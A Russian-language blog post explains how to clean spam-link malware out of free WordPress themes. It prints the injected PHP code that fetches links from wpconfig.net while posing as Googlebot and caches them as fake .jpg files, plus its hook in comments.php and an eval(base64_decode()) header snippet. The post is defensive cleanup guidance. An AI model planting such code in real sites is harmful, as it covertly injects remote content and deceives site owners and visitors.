В предыдущей статье я писал о том, как обнаружил уязвимости в своем шаблоне. В этой я опишу процесс избавления от подобных “сюрпризов”.
Откроем всеми любимый поисковик – google и введем в него запрос “шаблоны wordpress”, первым результатом будет раскрученный трастовый сайт wp-templates ru. Сайт живет с 2010 года, имеет очень хорошие показатели, а именно тиц 2700 и pr 5, лично у меня складывается о нем очень хорошее впечатление. Кто бы мог подумать, что большая часть шаблонов заражена спам ссылками. Перед написанием этой статьи, скачал пять случайных шаблонов, в четырех был вредоносный код. На примере одного из шаблонов, напишу, как от него избавиться.
Открываем function.php, ищем и удаляем подобный код
<?php
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
}
?>
Есть еще один вариант данного кода:
<?php
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n"."User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file)) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}
?>
Начинается одинаково, кончается по-разному. Главный корень мы вытащили, осталось разобраться с корешками – кодом который остался в файлах сайта. Без основного кода, который мы только что удалили, действовать он не будет, но зачем его оставлять?
Вот так он собственно выглядит:
<?php $lib_path = dirname(__FILE__).'/';require_once('functions.php'); $links = new Get_links(); $links =$links->return_links($lib_path); echo $links; ?>
Проверить советую, все файлы вашей темы, но лично у меня он содержался в одном файле: comments.php.
С функцией пихающий ссылки на сайт мы разобрались, однако на этом наши мучения не закончились. В header часто прячут закодированный код, и выглядит он примерно так:
< ?php
eval(base64_decode('2fc5375081c7d564f66fda2c7fb37c53’))?>
Внутри таких вот кодовов, тоже обычно спрятаны ссылки, в любом случаи его нужно убирать как можно быстрее.
На этом все. До скорого